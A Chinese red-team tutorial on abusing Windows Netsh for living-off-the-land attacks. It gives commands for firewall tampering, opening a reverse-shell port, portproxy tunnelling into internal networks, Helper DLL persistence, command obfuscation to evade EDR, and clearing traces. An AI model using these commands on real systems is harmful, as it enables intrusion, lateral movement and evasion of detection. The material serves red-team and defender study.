1. 引言
在网络安全攻防对抗中,防御体系的短板往往不在于攻击工具的强大,而在于"噪声"与"信号"的区分难度。Living-off-the-Land (LotL) 技术因其极高的隐蔽性,已成为红队评估中的核心战术。攻击者无需上传任何攻击载荷,仅利用目标系统内置的合法工具即可完成网络探测、权限维持、横向移动等全链条攻击行为。
Netsh(Network Shell)正是 Windows 生态中 LotL 武器的典型代表。作为系统原生的网络配置工具,它拥有微软官方的数字签名,且在管理员权限下功能极其强大。其核心价值在于:极高的稳定性 (极少因系统更新而改变核心语法)与 极低的可疑度 (网络管理员日常使用频繁,杀软通常对其"绿灯放行")。本文将站在红队的攻击视角,深度剖析如何利用 Netsh 突破网络隔离、篡改防火墙策略并建立隐蔽据点。
2. 核心机制与攻击原语
Netsh 的强大源于其模块化架构。它通过 "Helper DLLs" 动态扩展功能,其中 AdvFirewall 和 Interface Portproxy 是红队操作中关注度最高的核心组件。
2.1 核心功能架构图
#mermaid-svg-owK7MmWN7kzpCb1a{font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}@keyframes edge-animation-frame{from{stroke-dashoffset:0;}}@keyframes dash{to{stroke-dashoffset:0;}}#mermaid-svg-owK7MmWN7kzpCb1a .edge-animation-slow{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 50s linear infinite;stroke-linecap:round;}#mermaid-svg-owK7MmWN7kzpCb1a .edge-animation-fast{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 20s linear infinite;stroke-linecap:round;}#mermaid-svg-owK7MmWN7kzpCb1a .error-icon{fill:#552222;}#mermaid-svg-owK7MmWN7kzpCb1a .error-text{fill:#552222;stroke:#552222;}#mermaid-svg-owK7MmWN7kzpCb1a .edge-thickness-normal{stroke-width:1px;}#mermaid-svg-owK7MmWN7kzpCb1a .edge-thickness-thick{stroke-width:3.5px;}#mermaid-svg-owK7MmWN7kzpCb1a .edge-pattern-solid{stroke-dasharray:0;}#mermaid-svg-owK7MmWN7kzpCb1a .edge-thickness-invisible{stroke-width:0;fill:none;}#mermaid-svg-owK7MmWN7kzpCb1a .edge-pattern-dashed{stroke-dasharray:3;}#mermaid-svg-owK7MmWN7kzpCb1a .edge-pattern-dotted{stroke-dasharray:2;}#mermaid-svg-owK7MmWN7kzpCb1a .marker{fill:#333333;stroke:#333333;}#mermaid-svg-owK7MmWN7kzpCb1a .marker.cross{stroke:#333333;}#mermaid-svg-owK7MmWN7kzpCb1a svg{font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;}#mermaid-svg-owK7MmWN7kzpCb1a p{margin:0;}#mermaid-svg-owK7MmWN7kzpCb1a .label{font-family:"trebuchet ms",verdana,arial,sans-serif;color:#333;}#mermaid-svg-owK7MmWN7kzpCb1a .cluster-label text{fill:#333;}#mermaid-svg-owK7MmWN7kzpCb1a .cluster-label span{color:#333;}#mermaid-svg-owK7MmWN7kzpCb1a .cluster-label span p{background-color:transparent;}#mermaid-svg-owK7MmWN7kzpCb1a .label text,#mermaid-svg-owK7MmWN7kzpCb1a span{fill:#333;color:#333;}#mermaid-svg-owK7MmWN7kzpCb1a .node rect,#mermaid-svg-owK7MmWN7kzpCb1a .node circle,#mermaid-svg-owK7MmWN7kzpCb1a .node ellipse,#mermaid-svg-owK7MmWN7kzpCb1a .node polygon,#mermaid-svg-owK7MmWN7kzpCb1a .node path{fill:#ECECFF;stroke:#9370DB;stroke-width:1px;}#mermaid-svg-owK7MmWN7kzpCb1a .rough-node .label text,#mermaid-svg-owK7MmWN7kzpCb1a .node .label text,#mermaid-svg-owK7MmWN7kzpCb1a .image-shape .label,#mermaid-svg-owK7MmWN7kzpCb1a .icon-shape .label{text-anchor:middle;}#mermaid-svg-owK7MmWN7kzpCb1a .node .katex path{fill:#000;stroke:#000;stroke-width:1px;}#mermaid-svg-owK7MmWN7kzpCb1a .rough-node .label,#mermaid-svg-owK7MmWN7kzpCb1a .node .label,#mermaid-svg-owK7MmWN7kzpCb1a .image-shape .label,#mermaid-svg-owK7MmWN7kzpCb1a .icon-shape .label{text-align:center;}#mermaid-svg-owK7MmWN7kzpCb1a .node.clickable{cursor:pointer;}#mermaid-svg-owK7MmWN7kzpCb1a .root .anchor path{fill:#333333!important;stroke-width:0;stroke:#333333;}#mermaid-svg-owK7MmWN7kzpCb1a .arrowheadPath{fill:#333333;}#mermaid-svg-owK7MmWN7kzpCb1a .edgePath .path{stroke:#333333;stroke-width:2.0px;}#mermaid-svg-owK7MmWN7kzpCb1a .flowchart-link{stroke:#333333;fill:none;}#mermaid-svg-owK7MmWN7kzpCb1a .edgeLabel{background-color:rgba(232,232,232, 0.8);text-align:center;}#mermaid-svg-owK7MmWN7kzpCb1a .edgeLabel p{background-color:rgba(232,232,232, 0.8);}#mermaid-svg-owK7MmWN7kzpCb1a .edgeLabel rect{opacity:0.5;background-color:rgba(232,232,232, 0.8);fill:rgba(232,232,232, 0.8);}#mermaid-svg-owK7MmWN7kzpCb1a .labelBkg{background-color:rgba(232, 232, 232, 0.5);}#mermaid-svg-owK7MmWN7kzpCb1a .cluster rect{fill:#ffffde;stroke:#aaaa33;stroke-width:1px;}#mermaid-svg-owK7MmWN7kzpCb1a .cluster text{fill:#333;}#mermaid-svg-owK7MmWN7kzpCb1a .cluster span{color:#333;}#mermaid-svg-owK7MmWN7kzpCb1a div.mermaidTooltip{position:absolute;text-align:center;max-width:200px;padding:2px;font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:12px;background:hsl(80, 100%, 96.2745098039%);border:1px solid #aaaa33;border-radius:2px;pointer-events:none;z-index:100;}#mermaid-svg-owK7MmWN7kzpCb1a .flowchartTitleText{text-anchor:middle;font-size:18px;fill:#333;}#mermaid-svg-owK7MmWN7kzpCb1a rect.text{fill:none;stroke-width:0;}#mermaid-svg-owK7MmWN7kzpCb1a .icon-shape,#mermaid-svg-owK7MmWN7kzpCb1a .image-shape{background-color:rgba(232,232,232, 0.8);text-align:center;}#mermaid-svg-owK7MmWN7kzpCb1a .icon-shape p,#mermaid-svg-owK7MmWN7kzpCb1a .image-shape p{background-color:rgba(232,232,232, 0.8);padding:2px;}#mermaid-svg-owK7MmWN7kzpCb1a .icon-shape .label rect,#mermaid-svg-owK7MmWN7kzpCb1a .image-shape .label rect{opacity:0.5;background-color:rgba(232,232,232, 0.8);fill:rgba(232,232,232, 0.8);}#mermaid-svg-owK7MmWN7kzpCb1a .label-icon{display:inline-block;height:1em;overflow:visible;vertical-align:-0.125em;}#mermaid-svg-owK7MmWN7kzpCb1a .node .label-icon path{fill:currentColor;stroke:revert;stroke-width:revert;}#mermaid-svg-owK7MmWN7kzpCb1a :root{--mermaid-font-family:"trebuchet ms",verdana,arial,sans-serif;} Windows 目标主机
核心攻击原语
执行指令
上下文: AdvFirewall
上下文: Interface
上下文: Helper
攻击者/控制端
Netsh.exe 进程
参数解析引擎
防火墙篡改
网络配置
持久化
关闭防火墙/添加放行规则
开启组策略本地覆盖
TCP端口转发/隧道
网络发现/信息泄露
注册 Helper DLL 实现自启动
C2 流量放行
内网横向代理
NetSh 启动即加载
2.2 基础操作指南:交互式模式与帮助系统
2.2.1 进入交互式环境
Netsh 最强大的特性之一是其 交互式 Shell 环境。进入后,命令上下文会自动切换,避免重复输入冗长的前缀。
batch
:: 直接输入 netsh 进入交互式环境
C:\> netsh
netsh>
在交互式环境中,提示符会显示当前所在的上下文。初始状态为 netsh>,表示处于根上下文。
2.2.2 常用帮助命令
| 命令 | 功能 | 示例 |
|---|---|---|
? 或 help |
显示当前上下文下所有可用命令 | netsh> ? |
show 系列 |
查看当前配置或状态 | netsh> show helper 查看已加载的 Helper DLL |
dump |
导出当前上下文的所有配置脚本 | netsh> dump 可用于后续快速恢复配置 |
exit |
退出当前上下文或整个 netsh | 逐级退出 |
2.2.3 上下文切换(重点)
Netsh 的核心设计理念是 上下文敏感 。通过 context 命令或直接输入上下文名称进入特定功能域。
batch
:: 进入防火墙管理上下文
netsh> advfirewall
netsh advfirewall>
:: 进入网络接口上下文
netsh> interface
netsh interface>
:: 进入端口转发子上下文(在 interface 下)
netsh interface> portproxy
netsh interface portproxy>
:: 返回上一级
netsh interface portproxy> ..
netsh interface>
:: 直接返回根上下文
netsh interface> popd
netsh>
红队技巧 :进入特定上下文后,输入 ? 可查看该上下文下所有可用攻击原语,无需记忆复杂语法。例如进入 advfirewall 后输入 ?,可直接看到 add、delete、set 等动词及其适用对象。
2.2.4 单行命令模式(用于脚本和 C2 执行)
在非交互环境(如通过 C2 执行命令)中,需使用完整的一行命令格式。语法为:
netsh [上下文] [动词] [对象] [参数]
示例对比:
batch
:: 交互模式(分步)
netsh
netsh> advfirewall
netsh advfirewall> firewall
netsh advfirewall firewall> add rule name="Test" dir=in action=allow
:: 单行模式(等价)
netsh advfirewall firewall add rule name="Test" dir=in action=allow
2.3 关键技术:参数验证机制的"宽容性"漏洞
为了规避基于命令行特征的安全检测,红队常利用 Netsh 在参数验证上的逻辑缺陷。根据 Splunk 安全团队的逆向分析,Netsh 内部的核心函数 MatchToken() 在验证参数时存在"歧义":
当用户输入参数(如 delet)时,MatchToken 函数并不会严格要求其完全匹配硬编码表(delete),而是仅对比输入字符串的长度(例如取前5个字符)。只要缩写是唯一的,该命令就会执行成功。
攻击示例:
传统检测通常会监控 netsh advfirewall firewall delete rule 这样的完整字符串。而利用该特性,攻击者可以执行:
batch
# 标准的删除命令
netsh advfirewall firewall delet rule name="BlockRDP"
# 更激进的简写(利用唯一前缀匹配)
netsh advfirewall firewal del rul name="BlockRDP"
# 或混合简写
netsh ad fw fw del ru name="BlockRDP"
这种 Obfuscated Command Line 技术可以绕过许多仅依赖正则表达式匹配固定字符串的终端检测与响应(EDR)产品。
2.4 红队常用命令速查表
| 目标 | 单行命令 |
|---|---|
| 查看防火墙所有规则 | netsh advfirewall firewall show rule name=all |
| 查看所有端口转发规则 | netsh interface portproxy show all |
| 添加入站规则 | netsh advfirewall firewall add rule name="X" dir=in action=allow |
| 删除指定规则 | netsh advfirewall firewall del rule name="X" |
| 开启本地规则覆盖 | netsh advfirewall set allprofiles settings localfirewallrules enable |
| 添加端口转发 | netsh interface portproxy add v4tov4 listenport=8080 connectport=3389 connectaddress=10.0.0.1 |
| 清除所有端口转发 | netsh interface portproxy reset |
| 导出完整防火墙配置 | netsh advfirewall export c:\temp\fw_config.wfw |
3. 实战应用与命令示例
在红队评估中,Netsh 主要承担"破墙"、"搭桥"和"打扫"三项职能。
3.1 场景一:防御削弱 ------ 打破组策略枷锁
在企业域环境中,即使拥有本地管理员权限,也可能受到组策略(GPO)对防火墙的限制。此时可以通过修改防火墙策略,使其合并本地规则,从而绕过 GPO 限制。
batch
:: 步骤1:查看当前组策略覆盖状态
netsh advfirewall show allprofiles | findstr "LocalFirewallRules"
:: 步骤2:开启所有配置文件下的本地防火墙规则合并(核心绕过点)
netsh advfirewall set allprofiles settings localfirewallrules enable
:: 步骤3:开放指定端口(如 4444)用于反向Shell
netsh advfirewall firewall add rule name="Allow_C2" dir=in protocol=tcp localport=4444 action=allow
:: 步骤4:验证规则是否生效
netsh advfirewall firewall show rule name="Allow_C2"
3.2 场景二:网络代理 ------ 端口转发实现横向渗透
当拿下的边界服务器(Web服务器)位于双网卡环境时,可以利用 Netsh 建立 Tunnel 将流量转发至内网核心资产。
batch
:: 假设边界服务器公网IP为 203.0.113.5,内网存在MSSQL服务器 172.16.1.33:1433
:: 步骤1:在边界服务器上添加端口转发规则
netsh interface portproxy add v4tov4 listenport=13389 listenaddress=0.0.0.0 connectport=3389 connectaddress=172.16.1.33
:: 步骤2:查看转发规则是否添加成功
netsh interface portproxy show all
:: 步骤3:添加防火墙规则允许入站13389端口(关键!否则外网无法连接)
netsh advfirewall firewall add rule name="Forward_RDP" dir=in protocol=tcp localport=13389 action=allow
:: 步骤4:确认IP Helper服务正在运行
sc query iphlpsvc | findstr "RUNNING"
此后,攻击者直接连接 203.0.113.5:13389 即可远程登录内网的数据库服务器。
扩展技巧:多级跳板场景,可在第一层跳板将流量转发至第二层跳板的特定端口,形成链式代理。
3.3 场景三:持久化与信息收集
3.3.1 持久化(Netsh Helper DLL)
通过注册表 HKLM\SOFTWARE\Microsoft\Netsh,攻击者可以注册恶意 DLL。每当 netsh 命令执行时,该 DLL 代码都会被加载执行,是一种隐蔽的启动项维持手段。
batch
:: 查看当前已注册的Helper DLL
netsh show helper
:: 注册恶意DLL(需管理员权限)
reg add "HKLM\SOFTWARE\Microsoft\Netsh" /v "MyHelper" /t REG_SZ /d "C:\path\to\malicious.dll" /f
3.3.2 信息收集
batch
:: 导出全部防火墙策略用于离线分析
netsh advfirewall export C:\temp\fw_backup.wfw
:: 查找开放的高危端口
netsh advfirewall firewall show rule name=all | findstr "LocalPort"
:: 查看网络接口配置
netsh interface ip show config
:: 查看端口转发现状(发现可能的已有隧道)
netsh interface portproxy show all
:: 查看防火墙日志路径(可用于清除痕迹)
netsh advfirewall show currentprofile | findstr "LogFileName"
4. 对比分析
在红队工具链中,Netsh 并非唯一选择。为了帮助决策,以下是它与常见攻击工具及同类系统命令的对比:
| 特性 | Netsh (LotL 优势) | 第三方工具 (如 EarthWorm, FRP) | PowerShell (如 New-NetFirewallRule) |
|---|---|---|---|
| 文件落盘 | 无。系统原生自带 | 有。需上传 exe/dll 文件 | 无。内存执行 |
| 父进程溯源 | 常见。常由 cmd.exe 或合法软件调用 |
可疑。运行未知签名文件 | 较常见。取决于脚本策略 |
| 端口转发性能 | 较高。内核级(Windows内部NAT驱动) | 高。应用层转发 | 不支持原生TCP转发 |
| 绕过 AMSI | 天生免疫。不涉及 .NET 或脚本环境 | 不适用 | 需绕过 AMSI |
| 检测难度 | 中。需深度解析命令行参数语义 | 低。MD5或网络流量特征明显 | 高。混淆后难解 |
| 交互式 Shell | 支持。上下文切换便捷 | 通常不支持 | 不支持 |
| 帮助系统 | 完善。help 逐级可用 |
依赖文档 | Get-Help 较完善 |
| 适用场景 | 建立稳定的TCP隧道、防火墙操作 | 复杂的Socks5代理、UDP转发 | 无文件攻击、信息收集 |
结论 :在需要建立稳定、不易被网络层阻断 的TCP通道时,Netsh 优先于第三方工具;在需要动态SOCKS5代理时,第三方工具仍是刚需。
5. 深入话题:规避检测与实战误区
5.1 进阶技巧:利用"模糊匹配"降噪
许多 EDR 产品依靠监控 netsh 子字符串如 add rule 来告警。红队操作者可以利用前文所述的 MatchToken 漏洞:
batch
# 原始命令
netsh advfirewall firewall add rule name="C2" dir=in action=allow
# 变形1:使用唯一前缀缩写
netsh ad fw fw a ru name="C2" d=i a=a
# 变形2:混合简写与完整写法
netsh advfirewall firewal add rule name="C2" dir=in action=allow
# 变形3:利用大小写混合(部分环境有效)
netsh AdVfIrEwAlL FiReWaLl AdD RuLe NaMe="C2" DiR=In AcTiOn=AlLoW
# 变形4:添加冗余双引号
netsh advfirewall firewall add rule name=""""C2"""" dir="""in""" action="""allow"""
检测逃逸原理 :许多EDR使用正则 firewall.*add.*rule 进行匹配,利用 firewal(缺少一个 l)或 ad 可以破坏常见正则模式。
5.2 常见误区与踩坑指南
误区一:端口转发的"回环"陷阱
问题 :很多新手直接执行 netsh interface portproxy add v4tov4 listenport=3389 connectport=3389 认为就能转发。
真相 :如果目标主机本身开启了远程桌面(监听3389),该命令会报错或冲突。标准做法是:ListenPort 需设置为一个非常用端口(如 13389),ConnectPort 设置为目标服务真实端口(如 3389)。
误区二:忘记开启防火墙放行
问题 :添加了端口转发规则,但外网无法连接。
真相 :portproxy 仅在内核层重定向流量,并不影响 Windows 防火墙的入站策略。必须额外添加 advfirewall 规则放行 listenport。
误区三:对 IPv6 环境的忽视
问题 :在纯 IPv6 或双栈环境下,v4tov4 规则无效。
解决方案:
batch
# 根据实际情况选择正确的转发类型
netsh interface portproxy add v4tov6 listenport=8080 connectport=3389 connectaddress=::1
netsh interface portproxy add v6tov4 listenport=8080 connectport=3389 connectaddress=10.0.0.1
netsh interface portproxy add v6tov6 listenport=8080 connectport=3389 connectaddress=::1
误区四:误以为规则立即生效
问题 :修改规则后连接依然失败。
排查步骤:
batch
# 1. 确认 IP Helper 服务状态
sc query iphlpsvc
# 2. 若服务未运行,手动启动
sc start iphlpsvc
# 3. 重启 netsh 相关组件(非必要不推荐,可能断开现有连接)
net stop iphlpsvc && net start iphlpsvc
5.3 操作限制总结
| 限制项 | 详情 | 绕过/确认方法 |
|---|---|---|
| 权限要求 | 修改操作需本地管理员权限 | whoami /groups 检查 Administrators 组 |
| 依赖服务 | 端口转发依赖 IP Helper |
sc query iphlpsvc |
| Windows 版本差异 | 部分命令在 Win7/2008 及更早版本中不可用 | netsh 进入后 ? 查看可用命令 |
| 重启后需重新配置 | 端口转发规则默认不持久化(除非通过脚本或组策略) | 编写启动脚本或注册表 Run 项 |
| 不支持 UDP 转发 | portproxy 仅支持 TCP |
使用第三方工具或 PowerShell |
5.4 清理痕迹(反取证)
红队操作结束后,务必清理所有 Netsh 留下的痕迹:
batch
:: 1. 删除添加的防火墙规则
netsh advfirewall firewall del rule name="Allow_C2"
netsh advfirewall firewall del rule name="Forward_RDP"
:: 2. 重置所有端口转发规则
netsh interface portproxy reset
:: 3. 若开启了本地规则覆盖,建议恢复原状
netsh advfirewall set allprofiles settings localfirewallrules disable
:: 4. 清除历史命令记录(Netsh交互模式下)
:: 在交互模式下按 F7 可查看历史,但无法直接清除
:: 建议使用单行命令模式避免留下交互历史
:: 5. 清除 PowerShell 历史(如通过 PS 调用)
Clear-History
6. 总结
Netsh 是 Windows 原生提供给管理员的一把"万能钥匙",而在红队手中,它成为了一把锋利的"手术刀"。其核心思想在于 "利用信任":利用系统对自身工具的信任,在合法管理行为与恶意攻击的灰色地带建立据点。
关键要点回顾:
- 交互式 Shell :
netsh进入后可通过?逐级探索,大幅降低攻击门槛。 - 上下文切换 :使用
context或直接输入模块名,避免重复输入冗长前缀。 - 参数模糊匹配 :利用
MatchToken漏洞实现命令行混淆,绕过 EDR 检测。 - 双核心能力 :
advfirewall用于防御削弱,interface portproxy用于网络隧道。
通过深入理解 Netsh 的参数解析逻辑、防火墙操作原语及端口转发机制,红队成员能够在不引入任何恶意文件的情况下,实现从初始突破到持久控制的闭环。对于防御方而言,单纯的进程名监控已经失效,必须深入分析 命令行参数的具体语义 及 注册表项的变更上下文 ,才能在大量的 netsh 调用中精准识别出攻击者的真实意图。